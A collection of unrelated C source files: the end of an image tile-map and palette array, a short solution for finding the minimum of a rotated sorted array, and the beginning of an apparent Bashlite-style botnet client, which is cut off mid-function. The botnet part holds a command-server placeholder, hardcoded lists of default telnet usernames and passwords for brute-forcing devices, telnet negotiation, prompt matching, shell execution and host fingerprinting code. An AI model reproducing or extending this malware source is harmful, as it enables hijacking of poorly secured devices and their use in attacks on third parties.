0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,0x8B8B,
};
const unsigned short menuMap[1024] __attribute__((aligned(4)))=
{
0x7001,0x7002,0x7003,0x7004,0x0005,0x0006,0x0007,0x4008,
0x4009,0x400A,0x600B,0x600C,0x600D,0x600E,0x900F,0x0010,
0x7011,0x7012,0x7013,0x7013,0x7013,0x7013,0x7013,0x7013,
0x7014,0x3015,0x3016,0x3017,0x3018,0x3019,0x0000,0x0000,
0xF01A,0x301B,0xD01C,0xD01D,0x401E,0x401F,0x4020,0x5021,
0x1022,0x1023,0x5024,0xF025,0x5026,0x6027,0xB028,0x6029,
0x902A,0x902B,0x902C,0x902C,0x902C,0x902C,0x902C,0x902D,
0x902E,0x302F,0xB030,0xB031,0x3032,0x3033,0x0000,0x0000,
0x4034,0xA035,0xA036,0xA037,0x6038,0x6039,0x103A,0x403B,
0x603C,0x603D,0x503E,0x503F,0xC040,0x6041,0xA042,0xA043,
0xD044,0xD045,0xD045,0xD045,0xD045,0xD045,0xD045,0xD046,
0xD047,0xF048,0x9049,0xD04A,0x904B,0xF04C,0x0000,0x0000,
0x604D,0x604E,0x404F,0x1050,0xA051,0x6052,0xC053,0x6054,
0xC055,0xC056,0xC057,0x6058,0xC059,0x105A,0xA05B,0xA05C,
0xD05D,0xD05E,0xD05F,0xD05F,0xD060,0xD061,0xD062,0xD063,
0xA064,0xF065,0x4066,0x4067,0x4068,0xA069,0x0000,0x0000,
0xF06A,0x606B,0x606C,0x306D,0x306E,0x406F,0xF070,0xA071,
0xC072,0x8073,0x1074,0x2075,0x6076,0x6077,0x6078,0xB079,
0xF07A,0xA07B,0xA07C,0xA07D,0xA07E,0xA07F,0xA080,0xA081,
0x9082,0xF083,0x9084,0x4085,0xA086,0xA086,0x0000,0x0000,
0x6087,0x6088,0x6089,0x608A,0x608B,0x608C,0xC08D,0x608E,
0xB08F,0xD090,0xD091,0xB092,0x8093,0xD094,0xC095,0xC096,
0xC097,0xD098,0xC099,0xC09A,0xC09B,0xC09C,0xC09D,0xC09E,
0xF09F,0xF0A0,0xC0A1,0xC0A2,0xC0A2,0xC0A3,0x0000,0x0000,
0x80A4,0x80A5,0x80A6,0x80A7,0x00A8,0x80A9,0x00AA,0x80AB,
0x90AC,0xD0AD,0x70AE,0x70AF,0x00B0,0x00B1,0x00B2,0xD0B3,
0x80B4,0x00B5,0x00B6,0x00B7,0xD0B8,0xD0B9,0xD0BA,0x00BB,
0xD0BC,0xD0BD,0x40BE,0xD0BF,0xD0C0,0xD0C1,0x0000,0x0000,
0xD0C2,0xD0C3,0xB0C4,0xD0C5,0xB0C6,0xD0C7,0x00C8,0xD0C9,
0x00CA,0xC0CB,0x00CC,0x00CD,0x60CE,0xD0CF,0xD0D0,0xD0D1,
0x00D2,0x00D3,0xD0D4,0x00D5,0xD0D6,0x00D7,0xC0D8,0x20D9,
0xD0DA,0x00DB,0x70DC,0xD0DD,0xD4DD,0xD0DE,0x0000,0x0000,
0x50DF,0x60E0,0x60E0,0x60E1,0x00E2,0x50E3,0xC0E4,0xF0E5,
0x50E6,0x50E7,0x50E8,0x50E9,0x90EA,0xF0EB,0x50EC,0x50ED,
0x50EE,0xE0EF,0x60F0,0xE0F1,0xA0F2,0x50F3,0x50F4,0x50F5,
0x40F6,0xB0F7,0x70F8,0xF0F9,0xC0FA,0xF0FB,0x0000,0x0000,
0x60FC,0x60E0,0x60E0,0x60E0,0x60E0,0x60FD,0xA0FE,0x90FF,
0xD100,0xD101,0xD102,0xD103,0xD104,0x8105,0xD106,0xD107,
0xA108,0x4109,0x60E0,0x60E0,0x610A,0xA10B,0x110C,0xC0E0,
0x60E0,0x60E0,0x610D,0x410E,0x110F,0x1110,0x0000,0x0000,
0x6111,0x60E0,0x6112,0x6113,0x6114,0x6114,0x6115,0x6116,
0x6117,0x6118,0x4119,0x411A,0x411B,0x411C,0xA11D,0x6114,
0x611E,0x60E0,0x611F,0xC120,0x60E0,0x60E0,0x60E0,0x60E0,
0x60E0,0x60E0,0x60E0,0x60E0,0x60E0,0x6121,0x0000,0x0000,
0xE122,0xE122,0xE122,0xE122,0xE123,0xF124,0xF124,0xF124,
0xF124,0xF124,0xF124,0xF124,0xF124,0xF124,0xF124,0xF124,
0xF125,0xE126,0xE127,0xE128,0xE129,0xE12A,0xC12B,0xC12C,
0xC12D,0xC12E,0xC12F,0x6130,0xC131,0xC132,0x0000,0x0000,
0x8133,0x8133,0x8133,0x8134,0x8135,0x8136,0x8137,0x8138,
0x8138,0x8138,0x8138,0x8138,0x8138,0x8138,0x8138,0x8138,
0x8138,0x8138,0x8138,0x8138,0x8138,0x8138,0x8138,0x8139,
0x813A,0x813B,0x813C,0x813D,0x8138,0x8138,0x0000,0x0000,
0xE13E,0xE13F,0xE140,0xE141,0x8142,0x1143,0xE144,0x5145,
0x5146,0x5147,0x5148,0x5149,0x514A,0x514B,0x514C,0x514D,
0x514E,0x514F,0x5150,0x5151,0x5152,0x5153,0x5154,0x5155,
0x2156,0x0157,0xF158,0xF159,0x515A,0x515B,0x0000,0x0000,
0xF15C,0x615D,0x615E,0x615F,0xB160,0x1161,0x9162,0x9163,
0x4164,0x4165,0xC166,0x1167,0x2168,0x7169,0xC16A,0xD16B,
0xE16C,0x216D,0x316E,0xD16F,0x4170,0xB171,0xB172,0x3173,
0x2174,0x20E0,0x2175,0x2176,0x7177,0x7178,0x0000,0x0000,
0xD179,0x817A,0xE17B,0xC17C,0x617D,0x617E,0x117F,0x8180,
0xE181,0x8182,0x1183,0x8184,0x8185,0x8186,0x8187,0x8188,
0xD189,0xD18A,0xD18B,0xD18C,0xD18D,0xD18E,0x618F,0x3190,
0x2191,0x2192,0x2193,0x2194,0x2195,0xF196,0x0000,0x0000,
0x9197,0x3198,0x3199,0x919A,0x919B,0xD19C,0x819D,0xA19E,
0xA19F,0x51A0,0xA1A1,0xA1A2,0xA1A3,0xA1A4,0xF1A5,0x71A6,
0x21A7,0x51A8,0x21A9,0x21AA,0x11AB,0xE1AC,0x01AD,0x71AE,
0x11AF,0x31B0,0x31B1,0x21B2,0x51B3,0xE1B4,0x0000,0x0000,
0x91B5,0xF1B6,0xB1B7,0x91B8,0x91B9,0xA1BA,0xD1BB,0xB1BC,
0xB1BD,0xF1BE,0x11BF,0xB1C0,0x81C1,0x81C2,0x21C3,0x31C4,
0x11C5,0xF1C6,0xB1C7,0xA1C8,0xF1C9,0xA1CA,0xC1CB,0xF1CC,
0x11CD,0x11CE,0x11CF,0x01D0,0x51D1,0xB1D2,0x0000,0x0000,
0x61D3,0xB1D4,0xE1D5,0x11D6,0x21D7,0x01D8,0x01D9,0x31DA,
0x61DB,0x51DC,0x11DD,0xA1DE,0x31DF,0xA1E0,0x21E1,0x61E2,
0x21E3,0x61E4,0x01E5,0x61E6,0x51E7,0xC1E8,0xC1E9,0xB1EA,
0x01EB,0x01EC,0x01ED,0x11EE,0x41EF,0x21F0,0x0000,0x0000,
0xE1F1,0xB1F2,0x31F3,0xD1F4,0x21F5,0xB1F6,0x31F7,0xC1F8,
0xB1F9,0x81FA,0x71FB,0xC1FC,0x71FD,0xE1FE,0xC1FF,0xB200,
0xB201,0x3202,0xC203,0xE204,0xA205,0x5206,0xB207,0x6208,
0x8209,0x320A,0x420B,0x720C,0xB20D,0x820E,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
};
const unsigned short menuPal[256] __attribute__((aligned(4)))=
{
0x0000,0x62A1,0x4696,0x08F0,0x0A6E,0x6753,0x42C9,0x05A7,
0x677D,0x1E37,0x426F,0x0121,0x01BF,0x2188,0x429A,0x2279,
0x66C5,0x77BA,0x222E,0x0229,0x77BD,0x1D79,0x3F55,0x0183,
0x6B2E,0x3F0C,0x3313,0x7396,0x5F3B,0x2E2A,0x330F,0x7FFD,
0x66C3,0x0A29,0x3EC8,0x6731,0x367A,0x1107,0x22CF,0x19C3,
0x52D4,0x6B0B,0x1AAF,0x1A4A,0x3736,0x08C5,0x6FFF,0x577F,
0x3F78,0x0E4C,0x1134,0x77FF,0x22F1,0x66E9,0x6F01,0x6F27,
0x22F3,0x01A5,0x3B79,0x479A,0x0DC7,0x0DDE,0x6F05,0x0162,
0x57BB,0x6F03,0x6F29,0x630F,0x434F,0x6B0C,0x77BC,0x7798,
0x01E8,0x66A2,0x024B,0x3335,0x0985,0x1AAC,0x7374,0x2EB3,
0x2EAA,0x128E,0x0463,0x2AB2,0x6B4D,0x7FFF,0x66E7,0x6F71,
0x0565,0x19D5,0x260E,0x4F9A,0x1229,0x1AD0,0x126C,0x53D5,
0x6B2F,0x2E3B,0x4779,0x52F7,0x0523,0x2B14,0x6B0A,0x66E8,
0x3750,0x365E,0x66C6,0x66C4,0x2ACF,0x09E7,0x7BDE,0x4298,
0x3753,0x66C0,0x3757,0x19FE,0x5FBC,0x0DE8,0x67BF,0x1E09,
0x12AF,0x0963,0x11DF,0x6F50,0x7BDA,0x0984,0x3A8B,0x6F52,
0x1A4B,0x6B2D,0x2AF1,0x09A6,0x7395,0x026C,0x7FFE,0x5AF1,
0x2A91,0x01C6,0x05C8,0x0943,0x1925,0x2A25,0x0A8D,0x3734,
0x3735,0x228A,0x5F14,0x0289,0x7397,0x77DC,0x2F35,0x1EF1,
0x3331,0x66C2,0x0A4A,0x21BC,0x1190,0x3F34,0x7348,0x6F2B,
0x66C1,0x66E3,0x124A,0x77B9,0x22F0,0x26F1,0x6F73,0x0A09,
0x6707,0x7BDF,0x6F4C,0x66E6,0x6708,0x2F31,0x0E8E,0x1609,
0x539B,0x4372,0x4394,0x022A,0x263D,0x66E5,0x4379,0x128D,
0x0584,0x6F4E,0x16D0,0x6709,0x1DA6,0x1ACF,0x7345,0x0DA6,
0x6B2A,0x1569,0x261C,0x0209,0x2B0F,0x0563,0x5F17,0x6B2B,
0x1957,0x3B57,0x4ED6,0x7FDE,0x0542,0x1DEC,0x7BDD,0x7393,
0x4AB8,0x5AF4,0x066C,0x7394,0x66E4,0x6F49,0x6F4F,0x6706,
0x0964,0x198B,0x3752,0x3334,0x2F13,0x09C7,0x22AC,0x6B2C,
0x2AF2,0x4ADD,0x6B05,0x264F,0x226C,0x092C,0x12AE,0x1ED0,
0x4B79,0x7BFC,0x7BDC,0x0A6C,0x3B35,0x7FDC,0x4B9A,0x0585,
0x6F04,0x2ECD,0x6F28,0x2249,0x0E09,0x6F4D,0x064B,0x7BDB,
0x0A6B,0x2713,0x6B09,0x7BFF,0x6F72,0x3AFB,0x05C6,0x6F26,
};
//}}BLOCK(menu)
|
the_stack_data/247018980.c
|
/*
Suppose an array sorted in ascending order is rotated at some pivot unknown to you beforehand.
(i.e., [0,1,2,4,5,6,7] might become [4,5,6,7,0,1,2]).
Find the minimum element.
You may assume no duplicate exists in the array.
Example 1:
Input: [3,4,5,1,2]
Output: 1
Example 2:
Input: [4,5,6,7,0,1,2]
Output: 0
*/
int findMin(int* nums, int numsSize){
int l=0,r=numsSize-1,m;
while(l<r)
{
m=l+(r-l)/2;
if(nums[m]>nums[r])
{
l=m+1;
}
else if(nums[m]<nums[r])
r=m;
}
return nums[l];
}
|
the_stack_data/76700441.c
|
// ___ __ _
// / \___ / _(_)_ __ ___ ___
// / /\ / _ \ |_| | '_ \ / _ \/ __|
// / /_// __/ _| | | | | __/\__ \
// /___,' \___|_| |_|_| |_|\___||___/
#define PR_SET_NAME 15
#define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
#define PAD_RIGHT 1
#define PAD_ZERO 2
#define PRINT_BUF_LEN 12
#define CMD_IAC 255
#define CMD_WILL 251
#define CMD_WONT 252
#define CMD_DO 253
#define CMD_DONT 254
#define OPT_SGA 3
// _____ _ _
// \_ \_ __ ___| |_ _ __| | ___ ___
// / /\/ '_ \ / __| | | | |/ _` |/ _ \/ __|
// /\/ /_ | | | | (__| | |_| | (_| | __/\__ \
// \____/ |_| |_|\___|_|\__,_|\__,_|\___||___/
#include <stdlib.h>
#include <stdarg.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <signal.h>
#include <strings.h>
#include <string.h>
#include <sys/utsname.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/tcp.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <net/if.h>
// ___ __ _
// / __\___ _ __ / _(_) __ _
// / / / _ \| '_ \| |_| |/ _` |
// / /__| (_) | | | | _| | (_| |
// \____/\___/|_| |_|_| |_|\__, |
// |___/
unsigned char *commServer[] =
{
"IP:PORT" //Start the server on this port
};
// ___ _
// / __\ _ _ __ ___| |_(_) ___ _ __ ___
// / _\| | | | '_ \ / __| __| |/ _ \| '_ \/ __|
// / / | |_| | | | | (__| |_| | (_) | | | \__ \
// \/ \__,_|_| |_|\___|\__|_|\___/|_| |_|___/
int initConnection();
int getBogos(unsigned char *bogomips);
int getCores();
int getCountry(unsigned char *buf, int bufsize);
void makeRandomStr(unsigned char *buf, int length);
int sockprintf(int sock, char *formatStr, ...);
char *inet_ntoa(struct in_addr in);
// ___ _ _ _
// / _ \ | ___ | |__ __ _| |___
// / /_\/ |/ _ \| '_ \ / _` | / __|
// / /_\\| | (_) | |_) | (_| | \__ \
// \____/|_|\___/|_.__/ \__,_|_|___/
int mainCommSock = 0, currentServer = -1, gotIP = 0;
uint32_t *pids;
uint32_t scanPid;
uint64_t numpids = 0;
struct in_addr ourIP;
unsigned char macAddress[6] = {0};
char *usernames[] = {"root\0", "admin\0", "user\0", "login\0", "guest\0", "support\0"};
char *passwords[] = {"root\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "pass\0", "password\0", "support\0"};
// ___ ___ __ __ ___
// / __\/ _ \/__\ /\ \ \/ _ \
// / _\ / /_)/ \// / \/ / /_\/
// / / / ___/ _ \/ /\ / /_\\
// \/ \/ \/ \_/\_\ \/\____/
#define PHI 0x9e3779b9
static uint32_t Q[4096], c = 362436;
void init_rand(uint32_t x)
{
int i;
Q[0] = x;
Q[1] = x + PHI;
Q[2] = x + PHI + PHI;
for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}
uint32_t rand_cmwc(void)
{
uint64_t t, a = 18782LL;
static uint32_t i = 4095;
uint32_t x, r = 0xfffffffe;
i = (i + 1) & 4095;
t = a * Q[i] + c;
c = (uint32_t)(t >> 32);
x = t + c;
if (x < c) {
x++;
c++;
}
return (Q[i] = r - x);
}
// _ _ _
// /\ /\| |_(_) |___
// / / \ \ __| | / __|
// \ \_/ / |_| | \__ \
// \___/ \__|_|_|___/
void trim(char *str)
{
int i;
int begin = 0;
int end = strlen(str) - 1;
while (isspace(str[begin])) begin++;
while ((end >= begin) && isspace(str[end])) end--;
for (i = begin; i <= end; i++) str[i - begin] = str[i];
str[i - begin] = '\0';
}
static void printchar(unsigned char **str, int c)
{
if (str) {
**str = c;
++(*str);
}
else (void)write(1, &c, 1);
}
static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
{
register int pc = 0, padchar = ' ';
if (width > 0) {
register int len = 0;
register const unsigned char *ptr;
for (ptr = string; *ptr; ++ptr) ++len;
if (len >= width) width = 0;
else width -= len;
if (pad & PAD_ZERO) padchar = '0';
}
if (!(pad & PAD_RIGHT)) {
for ( ; width > 0; --width) {
printchar (out, padchar);
++pc;
}
}
for ( ; *string ; ++string) {
printchar (out, *string);
++pc;
}
for ( ; width > 0; --width) {
printchar (out, padchar);
++pc;
}
return pc;
}
static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
{
unsigned char print_buf[PRINT_BUF_LEN];
register unsigned char *s;
register int t, neg = 0, pc = 0;
register unsigned int u = i;
if (i == 0) {
print_buf[0] = '0';
print_buf[1] = '\0';
return prints (out, print_buf, width, pad);
}
if (sg && b == 10 && i < 0) {
neg = 1;
u = -i;
}
s = print_buf + PRINT_BUF_LEN-1;
*s = '\0';
while (u) {
t = u % b;
if( t >= 10 )
t += letbase - '0' - 10;
*--s = t + '0';
u /= b;
}
if (neg) {
if( width && (pad & PAD_ZERO) ) {
printchar (out, '-');
++pc;
--width;
}
else {
*--s = '-';
}
}
return pc + prints (out, s, width, pad);
}
static int print(unsigned char **out, const unsigned char *format, va_list args )
{
register int width, pad;
register int pc = 0;
unsigned char scr[2];
for (; *format != 0; ++format) {
if (*format == '%') {
++format;
width = pad = 0;
if (*format == '\0') break;
if (*format == '%') goto out;
if (*format == '-') {
++format;
pad = PAD_RIGHT;
}
while (*format == '0') {
++format;
pad |= PAD_ZERO;
}
for ( ; *format >= '0' && *format <= '9'; ++format) {
width *= 10;
width += *format - '0';
}
if( *format == 's' ) {
register char *s = (char *)va_arg( args, int );
pc += prints (out, s?s:"(null)", width, pad);
continue;
}
if( *format == 'd' ) {
pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
continue;
}
if( *format == 'x' ) {
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
continue;
}
if( *format == 'X' ) {
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
continue;
}
if( *format == 'u' ) {
pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
continue;
}
if( *format == 'c' ) {
scr[0] = (unsigned char)va_arg( args, int );
scr[1] = '\0';
pc += prints (out, scr, width, pad);
continue;
}
}
else {
out:
printchar (out, *format);
++pc;
}
}
if (out) **out = '\0';
va_end( args );
return pc;
}
int zprintf(const unsigned char *format, ...)
{
va_list args;
va_start( args, format );
return print( 0, format, args );
}
int szprintf(unsigned char *out, const unsigned char *format, ...)
{
va_list args;
va_start( args, format );
return print( &out, format, args );
}
int sockprintf(int sock, char *formatStr, ...)
{
unsigned char *textBuffer = malloc(2048);
memset(textBuffer, 0, 2048);
char *orig = textBuffer;
va_list args;
va_start(args, formatStr);
print(&textBuffer, formatStr, args);
va_end(args);
orig[strlen(orig)] = '\n';
zprintf("buf: %s\n", orig);
int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
free(orig);
return q;
}
static int *fdopen_pids;
int fdpopen(unsigned char *program, register unsigned char *type)
{
register int iop;
int pdes[2], fds, pid;
if (*type != 'r' && *type != 'w' || type[1]) return -1;
if (pipe(pdes) < 0) return -1;
if (fdopen_pids == NULL) {
if ((fds = getdtablesize()) <= 0) return -1;
if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
}
switch (pid = vfork())
{
case -1:
close(pdes[0]);
close(pdes[1]);
return -1;
case 0:
if (*type == 'r') {
if (pdes[1] != 1) {
dup2(pdes[1], 1);
close(pdes[1]);
}
close(pdes[0]);
} else {
if (pdes[0] != 0) {
(void) dup2(pdes[0], 0);
(void) close(pdes[0]);
}
(void) close(pdes[1]);
}
execl("/bin/sh", "sh", "-c", program, NULL);
_exit(127);
}
if (*type == 'r') {
iop = pdes[0];
(void) close(pdes[1]);
} else {
iop = pdes[1];
(void) close(pdes[0]);
}
fdopen_pids[iop] = pid;
return (iop);
}
int fdpclose(int iop)
{
register int fdes;
sigset_t omask, nmask;
int pstat;
register int pid;
if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
(void) close(iop);
sigemptyset(&nmask);
sigaddset(&nmask, SIGINT);
sigaddset(&nmask, SIGQUIT);
sigaddset(&nmask, SIGHUP);
(void) sigprocmask(SIG_BLOCK, &nmask, &omask);
do {
pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
} while (pid == -1 && errno == EINTR);
(void) sigprocmask(SIG_SETMASK, &omask, NULL);
fdopen_pids[fdes] = 0;
return (pid == -1 ? -1 : WEXITSTATUS(pstat));
}
unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
{
int got = 1, total = 0;
while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
return got == 0 ? NULL : buffer;
}
static const long hextable[] = {
[0 ... 255] = -1,
['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
['A'] = 10, 11, 12, 13, 14, 15,
['a'] = 10, 11, 12, 13, 14, 15
};
long parseHex(unsigned char *hex)
{
long ret = 0;
while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
return ret;
}
int wildString(const unsigned char* pattern, const unsigned char* string) {
switch(*pattern)
{
case '\0': return *string;
case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
case '?': return !(*string && !wildString(pattern+1, string+1));
default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
}
}
int getHost(unsigned char *toGet, struct in_addr *i)
{
struct hostent *h;
if((i->s_addr = inet_addr(toGet)) == -1) return 1;
return 0;
}
void uppercase(unsigned char *str)
{
while(*str) { *str = toupper(*str); str++; }
}
int getBogos(unsigned char *bogomips)
{
int cmdline = open("/proc/cpuinfo", O_RDONLY);
char linebuf[4096];
while(fdgets(linebuf, 4096, cmdline) != NULL)
{
uppercase(linebuf);
if(strstr(linebuf, "BOGOMIPS") == linebuf)
{
unsigned char *pos = linebuf + 8;
while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
strcpy(bogomips, pos);
close(cmdline);
return 0;
}
memset(linebuf, 0, 4096);
}
close(cmdline);
return 1;
}
int getCores()
{
int totalcores = 0;
int cmdline = open("/proc/cpuinfo", O_RDONLY);
char linebuf[4096];
while(fdgets(linebuf, 4096, cmdline) != NULL)
{
uppercase(linebuf);
if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
memset(linebuf, 0, 4096);
}
close(cmdline);
return totalcores;
}
void makeRandomStr(unsigned char *buf, int length)
{
int i = 0;
for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
}
int recvLine(int socket, unsigned char *buf, int bufsize)
{
memset(buf, 0, bufsize);
fd_set myset;
struct timeval tv;
tv.tv_sec = 30;
tv.tv_usec = 0;
FD_ZERO(&myset);
FD_SET(socket, &myset);
int selectRtn, retryCount;
if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
while(retryCount < 10)
{
sockprintf(mainCommSock, "PING");
tv.tv_sec = 30;
tv.tv_usec = 0;
FD_ZERO(&myset);
FD_SET(socket, &myset);
if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
retryCount++;
continue;
}
break;
}
}
unsigned char tmpchr;
unsigned char *cp;
int count = 0;
cp = buf;
while(bufsize-- > 1)
{
if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
*cp = 0x00;
return -1;
}
*cp++ = tmpchr;
if(tmpchr == '\n') break;
count++;
}
*cp = 0x00;
// zprintf("recv: %s\n", cp);
return count;
}
int connectTimeout(int fd, char *host, int port, int timeout)
{
struct sockaddr_in dest_addr;
fd_set myset;
struct timeval tv;
socklen_t lon;
int valopt;
long arg = fcntl(fd, F_GETFL, NULL);
arg |= O_NONBLOCK;
fcntl(fd, F_SETFL, arg);
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(port);
if(getHost(host, &dest_addr.sin_addr)) return 0;
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
if (res < 0) {
if (errno == EINPROGRESS) {
tv.tv_sec = timeout;
tv.tv_usec = 0;
FD_ZERO(&myset);
FD_SET(fd, &myset);
if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
lon = sizeof(int);
getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
if (valopt) return 0;
}
else return 0;
}
else return 0;
}
arg = fcntl(fd, F_GETFL, NULL);
arg &= (~O_NONBLOCK);
fcntl(fd, F_SETFL, arg);
return 1;
}
int listFork()
{
uint32_t parent, *newpids, i;
parent = fork();
if (parent <= 0) return parent;
numpids++;
newpids = (uint32_t*)malloc((numpids + 1) * 4);
for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
newpids[numpids - 1] = parent;
free(pids);
pids = newpids;
return parent;
}
int negotiate(int sock, unsigned char *buf, int len)
{
unsigned char c;
switch (buf[1]) {
case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
case CMD_WILL:
case CMD_WONT:
case CMD_DO:
case CMD_DONT:
c = CMD_IAC;
send(sock, &c, 1, MSG_NOSIGNAL);
if (CMD_WONT == buf[1]) c = CMD_DONT;
else if (CMD_DONT == buf[1]) c = CMD_WONT;
else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
send(sock, &c, 1, MSG_NOSIGNAL);
send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
break;
default:
break;
}
return 0;
}
int matchPrompt(char *bufStr)
{
char *prompts = ":>%$#\0";
int bufLen = strlen(bufStr);
int i, q = 0;
for(i = 0; i < strlen(prompts); i++)
{
while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
if(*(bufStr + bufLen - q) == prompts[i]) return 1;
}
return 0;
}
int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
{
int bufferUsed = initialIndex, got = 0, found = 0;
fd_set myset;
struct timeval tv;
tv.tv_sec = timeout;
tv.tv_usec = timeoutusec;
unsigned char *initialRead = NULL;
